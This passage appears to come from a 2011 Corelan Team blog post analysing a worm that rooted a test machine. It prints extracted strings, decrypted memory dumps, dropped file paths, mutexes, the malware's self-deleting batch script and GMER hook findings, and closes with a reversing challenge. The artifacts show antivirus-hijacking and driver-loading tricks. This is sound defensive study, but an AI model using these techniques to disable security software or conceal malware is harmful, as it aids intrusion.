File: regutils.dll MD5: 6104e03783e6d0c7443fb99ed8eebe46 Size: 12800 Ascii Strings: --------------------------------------------------------------------------- !This program cannot be run in DOS mode. Qihoo360 e2813ddf-80f8-4da9-b6e3-f051ccad2e24 ProgramPath Software\Kingsoft\AntiVirus Q360MonMutex DrvFWAccess Software\360Safe\safemon {D6EB0652-1172-4e51-BFC6-6AF63762C09C}-rav-0 Software\Rising\Rav Q360SDMutex Software\360SD 22.37.00.03 %d-%02d-%02d %02d:%02d %d.%02d.%02d.14 Debugger ntsd -d SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options DSMain.exe 360Safe.exe RavMonD.exe rstray.exe 360rp.exe 360sd.exe LiveUpdate360.exe ZhuDongFangYu.exe 360tray.exe kissvc.exe kmailmon.exe kswebshield.exe kwatch.exe kavstart.exe TKSun.Kongbiet memset memcpy MSVCRT.dll free _initterm malloc _adjust_fdiv RegCloseKey RegQueryValueExA RegOpenKeyExA RegSetValueExA RegCreateKeyA RegOpenKeyA ADVAPI32.dll DefWindowProcA LoadIconA wsprintfA DispatchMessageA TranslateMessage GetMessageA ShowWindow MoveWindow CreateWindowExA RegisterClassExA USER32.dll Shell_NotifyIconA SHELL32.dll CreateMutexA GetFileAttributesA lstrcpyA GetLocalTime TerminateProcess OpenProcess Process32Next lstrcmpiA CloseHandle Process32First CreateToolhelp32Snapshot GetLastError CreateThread KERNEL32.dll safemon.DLL
Still no network traffic.
~DF4E.exe
In this binary, folder C:\Program Files\WinRar is created, and a file called unacev32.dll is dropped into the folder.
File: UNACEV32.DLL MD5: 361f207b6f0c8e49e54bf9fb0cb709a9 Size: 20992 Ascii Strings: --------------------------------------------------------------------------- !This program cannot be run in DOS mode. http:// value DFrz memcpy memset free memcmp malloc sprintf strstr MSVCRT.dll _initterm _adjust_fdiv RegCloseKey RegSetValueExA RegCreateKeyExA RegQueryValueExA RegOpenKeyExA RegEnumKeyA RegQueryInfoKeyA RegDeleteKeyA RegCreateKeyA ADVAPI32.dll LocalAlloc IsBadReadPtr CloseHandle VirtualFree WriteFile MultiByteToWideChar lstrcatA lstrcpyA VirtualAlloc GetFileSize ReadFile SetFilePointer lstrcmpiA GetVolumeInformationA GetDiskFreeSpaceA CreateFileA GetProcAddress GetModuleHandleA DeviceIoControl FreeResource LockResource LoadResource SizeofResource FindResourceA LocalFree DeleteFileA GetWindowsDirectoryA lstrlenA GetTickCount GetFileAttributesA ExpandEnvironmentStringsA MoveFileExA lstrcpynA GetModuleFileNameA KERNEL32.dll UNACEV32.DLL Unicode Strings: ---------------------------------------------------------------------------
This time, the file is not just being created, but it’s also loaded (at 0x10000000) after it gets created :
A pointer to the module entry point is retrieved (0x10001B2D), and then the function gets called. (CALL EAX at 0x004016AC)
At 0x10001B2D, function 0x1000114A is called. In that function, a LocalAlloc is executed, followed by memcpy :
0012FCA8 00143BEC ì;. |dest = 00143BEC 0012FCAC 10004110 A. |src = 10004110 0012FCB0 00000178 x.. \n = 178 (376.)
Then memset is executed
0012FC9C 0012FCBC ¼ü. |s = 0012FCBC 0012FCA0 00000000 .... |c = 00 0012FCA4 00000020 ... \n = 20 (32.)
Then, data copied to 00143BEC is decoded/decrypted :
00143BEC 5C 5C 2E 5C 25 63 3A 00 46 41 54 33 32 00 6E 74 \\.\%c:.FAT32.nt
00143BFC 64 6C 6C 2E 64 6C 6C 00 5A 77 4F 70 65 6E 44 69 dll.dll.ZwOpenDi
00143C0C 72 65 63 74 6F 72 79 4F 62 6A 65 63 74 00 5A 77 rectoryObject.Zw
00143C1C 51 75 65 72 79 44 69 72 65 63 74 6F 72 79 4F 62 QueryDirectoryOb
00143C2C 6A 65 63 74 00 5A 77 43 6C 6F 73 65 00 52 74 6C ject.ZwClose.Rtl
00143C3C 49 6E 69 74 55 6E 69 63 6F 64 65 53 74 72 69 6E InitUnicodeStrin
00143C4C 67 00 52 74 6C 43 6F 6D 70 61 72 65 55 6E 69 63 g.RtlCompareUnic
00143C5C 6F 64 65 53 74 72 69 6E 67 00 53 4F 46 54 57 41 odeString.SOFTWA
00143C6C 52 45 5C 44 2D 54 6F 6F 6C 73 00 49 6E 73 74 61 RE\D-Tools.Insta
00143C7C 6C 6C 65 64 00 5C 3F 3F 5C 00 25 75 2E 73 79 73 lled.\??\.%u.sys
00143C8C 00 53 59 53 54 45 4D 5C 43 75 72 72 65 6E 74 43 .SYSTEM\CurrentC
00143C9C 6F 6E 74 72 6F 6C 53 65 74 5C 53 65 72 76 69 63 ontrolSet\Servic
00143CAC 65 73 5C 25 30 38 78 00 45 72 72 6F 72 43 6F 6E es\%08x.ErrorCon
00143CBC 74 72 6F 6C 00 53 74 61 72 74 00 54 79 70 65 00 trol.Start.Type.
00143CCC 49 6D 61 67 65 50 61 74 68 00 5C 52 65 67 69 73 ImagePath.\Regis
00143CDC 74 72 79 5C 4D 61 63 68 69 6E 65 5C 00 5C 5C 2E try\Machine\.\\.
00143CEC 5C 54 4B 49 64 69 6F 74 00 25 53 79 73 74 65 6D \TKIdiot.%System
00143CFC 72 6F 6F 74 25 5C 73 79 73 74 65 6D 33 32 5C 77 root%\system32\w
00143D0C 65 62 63 68 65 63 6B 2E 64 6C 6C 00 5C 44 72 69 ebcheck.dll.\Dri
00143D1C 76 65 72 00 44 65 65 70 46 72 7A 00 59 7A 49 64 ver.DeepFrz.YzId
00143D2C 69 6F 74 00 73 6E 70 73 68 6F 74 00 53 68 69 65 iot.snpshot.Shie
00143D3C 6C 64 00 5A 77 4C 6F 61 64 44 72 69 76 65 72 00 ld.ZwLoadDriver.
00143D4C 50 6C 75 67 69 6E 32 61 2E 53 65 63 74 69 6F 6E Plugin2a.Section
00143D5C 00 00 00 00 00 00 00 00 AB AB AB AB AB AB AB AB ........««««««««
00143D6C EE FE EE FE 00 00 00 00 00 00 00 00 51 02 40 00 îþîþ........Q@.
Pointers to some of the function names in the memory dump are retrieved and stored at a negative offset of EBP :
Then kernel32.MultiByteToWideChar() is called, using the following arguments :
0012FBB8 00000000 .... |CodePage = CP_ACP
0012FBBC 00000000 .... |Options
0012FBC0 00143D18 =. |StringToMap = "\Driver"
0012FBC4 FFFFFFFF ÿÿÿÿ |StringSize = FFFFFFFF (-1.)
0012FBC8 0012FBDC Üû. |WideCharBuf = 0012FBDC
0012FBCC 00000010 ... \WideBufSize = 10 (16.)
at 10001AAA, VirtualAlloc() is called :
0012FBC0 00000000 .... |Address = NULL 0012FBC4 00100000 ... |Size = 100000 (1048576.) 0012FBC8 00001000 ... |AllocationType = MEM_COMMIT 0012FBCC 00000004 ... \Protect = PAGE_READWRITE
A little while later, memory is freed again, and module unacev32.dll is unloaded again.
The dll is removed again, and then application initiates the cleanup routine (via calc.exe)…
All of that doesn’t really make sense – why create a dll, loading it, and delete it again … Then again, we had to modify certain jumps to make the code produce the file… so maybe we are still not testing/analysing the file in the righ context either.
~DF5E.exe
While using the same techniques again, this file is different than the last 3. It does not only create files, but it also appears to be changing a few things. In addition to that, it also seems to be using a different technique to clean up itself in the end.
It creates the following files :
C:\Documents & Settings\\Local Settings\Temp\kb291941.sve C:\Program Files\Common Files\System\kb291941.bwb C:\WINDOWS\system32\dsound.dll.dat C:\WINDOWS\system32\dsound.dll.dat C:\WINDOWS\system32\dsound.dll.NULG C:\WINDOWS\system32\dsound.dll C:\Documents & Settings\ \Local Settings\Temp\tempVidio.bat
It also creates the following mutexes :
CTF.LBES.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500 CTF.Compart.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500 CTF.Asm.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500 CTF.Layouts.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500 CTF.TMD.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500 CTF.TimListCache.FMPDefaultS-1-5-21-583907252-1708537768-842925246-500MUTEX.DefaultS-1-5-21-583907252
This time, tempVidio.bat is used to remove the .exe file and itself :
@echo off :try del C:\DOCUME~1\myne-us\APPLIC~1\Tencent\~DF5E.exe if exist C:\DOCUME~1\myne-us\APPLIC~1\Tencent\~DF5E.exe goto try del C:\DOCUME~1\myne-us\LOCALS~1\Temp\tempVidio.bat
~DF6B.exe
This file is very similar to ~DF5E.exe. It creates the following files :
C:\Documents & Settings\\Local Settings\Temp\kb848115.sve C:\Program Files\Common Files\System\kb848115.srd \Device\Tcp \Device\Ip \Device\Ip C:\WINDOWS\system32\d3d8thk.dll.dat C:\WINDOWS\system32\d3d8thk.dll.dat C:\WINDOWS\system32\d3d8thk.dll.EMGP C:\WINDOWS\system32\d3d8thk.dll C:\Documents & Settings\ \Local Settings\Temp\tempVidio.bat
and also creates the same mutexes as the ones created in ~DF5E.exe
Furthermore, a COM instance is created :
COM Create Instance: C:\Program Files\Windows Desktop Search\MSNLNamespaceMgr.dll,
ProgID: (MSNLNamespaceMgr.NamespaceMgr.1),
Interface ID: ({00000000-0000-0000-C000-000000000046})
COM Get Class Object: C:\WINDOWS\system32\urlmon.dll,
Interface ID: ({00000001-0000-0000-C000-000000000046})
And finally the executable is deleted using tempVidio.bat
~DF19.exe / ~DF21.exe / ~DF29.exe / ~DF36.exe / ~DF42.exe / ~DF46.exe / ~DF53.exe / ~DF57.exe / ~DF65.exe / ~DF70.exe / ~DF76.exe
The missing pieces
At this point, we have been able to analyse the way the machine got rooted and described the first stages of the infection. We know that files are downloaded, executables are created and network traffic is created.
However, we have not been able to find
- how to properly debug the injected code into explorer and document how iexplorer.exe is called
- how the machine gets infected permanently
- what process is responsible for the network traffic (we suspect it’s l.exe -> explorer.exe -> iexplorer.exe -> network, but we have not been able to prove that )
- what the purpose of the malware / infection is
- what the relationship is between the images and the executables
- why the executables create dll files and how these dll files are used
- …
So it looks like a big part of the missing pieces can be found inside explorer.exe or iexplore.exe, and maybe that will also explain the somewhat weird behaviour of the 18 executables.
GMER scans produce the following results :
before infection : no traces of infection
after infection :
---- User code sections - GMER 1.0.15 ---- .text C:\WINDOWS\Explorer.EXE[1544] kernel32.dll!SetUnhandledExceptionFilter 7C84495D 5 Bytes [33, C0, C2, 04, 00] {XOR EAX, EAX; RET 0x4} ---- User IAT/EAT - GMER 1.0.15 ---- IAT C:\WINDOWS\Explorer.EXE[1544] C:\WINDOWS\system32\USER32.dll [KERNEL32.dll!LoadLibraryExW] [02743E95] C:\Program Files\Real\pnen3260.dll (RealVideo/RealNetworks, Inc.) IAT C:\Program Files\Internet Explorer\IEXPLORE.EXE[1568] C:\WINDOWS\system32\SHLWAPI.dll [USER32.dll!DialogBoxParamW] [10003BDA] C:\Program Files\Real\pnen3260.dll (RealVideo/RealNetworks, Inc.) ---- EOF - GMER 1.0.15 ----
infected, after reboot :
---- User code sections - GMER 1.0.15 ----
.text C:\WINDOWS\Explorer.EXE[1404] kernel32.dll!SetUnhandledExceptionFilter 7C84495D 5 Bytes [33, C0, C2, 04, 00] {XOR EAX, EAX; RET 0x4}
---- User IAT/EAT - GMER 1.0.15 ----
IAT C:\WINDOWS\Explorer.EXE[1404]
C:\WINDOWS\system32\USER32.dll [KERNEL32.dll!LoadLibraryExW]
[00FE3E95] C:\Program Files\Real\sipr3260.dll (RealVideo/RealNetworks, Inc.)
---- EOF - GMER 1.0.15 ----
So it’s clear that pnen3260.dll plays an important role – the IAT table of iexplore.exe shows that one of the functions (DialogBoxParamW) was hooked and points to a function inside pnen3260.dll
After a reboot, the IAT of explorere.exe contains a reference to sipr3260.dll (LoadLibraryExW is hooked and points to a function inside that dll).
… and this is where our journey ends for now…
Lessons learned so far
Obviously don’t connect unpatched computers directly to the internet, unless you want to get owned for analysis purposes :)
If you want to analyze (userland) malware, procmon and a decent sniffer will help you document it’s behaviour from a process & network traffic point of view… but if you are serious about analyzing malware, you really need to dive into the asm & carefully step through. Every single instruction, jump or call may be important. It’s not uncommon to see that executables don’t use a lot of API imports, and that API calls are generated at runtime.
Beware of anti-debugging tricks.
Make sure to run things in an isolated machine (vm) and take snapshots before starting the debugging process. Realize though that malware may be able to detect a VM and change behaviour or even escape from it…
From a tools perspective, this analysis has proven once again that using a tool (whether it’s a debugger or some kind of automated analysis tool), may not report accurate information. Even a combination of the tools might provide you a false sense of security. It’s imperative to use the right tool, at the right time, under the right circumstances and within the right context. It’s difficult to find the right balance, timing and technique, but you’ll get there if you show some perseverance and dedication. Even if the malware specimen turns out to be low risk after all, it might still be a good learning experience.
In case of multi-staged malware, make sure to capture all files that are created in a given stage, and keep them handy. You might need those files again when looking at another piece of the malware.
Be prepared to spend a painful amount of time and effort to properly document what’s going on.
This malware specimen is probably not new, maybe not the most damaging out there , and most certainly not as complex as other malware, but hey… this is the one that rooted our box.
Some other tips:
- Mutexes are often used to determine if malware is already running.
- OpenProcess(), CreateRemoteThread(), WriteProcessMemory(), VirtualAllocEx() and QueueUserAPC() are instructions that might indicate injection into a process.
- The fact that a binary is not packed doesn’t rule out the possibililty that it’s malicious. There’s a plethora of ways to decode, re-combine/reproduce code on the fly. Packers often raise suspicion, other routines might even bypass AV.
Okay, enough with the chit chat.
Get ready for…
The Challenge
At this point, we would like to challenge you ! Most of you are familiar with CTF/wargames/reversing challenges, so we decided to turn this analysis into a game.
Usually, the binary/reversing challenges in those ‘wargames’ are based upon custom compiled executables or binaries. Makes sense, since a CTF is usually limited in time and has a bunch of other challenges to complete as well.
In our case, instead of using a custom executable, the target is a real worm… real malware. Exciting, isn’t it ?
The game winner will get a (modest) prize (see below), but we think the educational value, the fact that you can share your experience with the world, and get recognized & respected for that, is what should drive you to take on this challenge.
Goal :
Write and submit a document (in English), documenting (in detail, text & screenshots) :
- what the anti debugging tricks are (of the injected code inside explorer.exe) and how to properly bypass them to debug the code
- how and where iexplorer.exe gets called
- where/how the network connections are initiated/made (download of images, self propagation, etc)
- what the relation is between the images and the executables
- what the purpose is of the executables (high level explanation is ok)
- how the machine gets infected permanently
- finally, what the main purpose is of this malware
The first person to submit a valid/correct/reproducable procedure wins a Corelan coffee mug (that is, if Cafepress can ship goods to where you live.. if not, we’ll figure something out). We will post your document on this site, so other people can learn from it as well.
We are not looking for behaviour analysis. We want proof and techniques, and we need to be able to reproduce the techniques based on your document.
Submit your paper (pdf) to security [at] corelan [dot] be.
Deadline :
End of february 2011
Good luck !
Thanks to…
Corelan Team ! You guys rock !
Copyright secured by Digiprove © 2011 Peter Van Eeckhoutte
© 2011 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.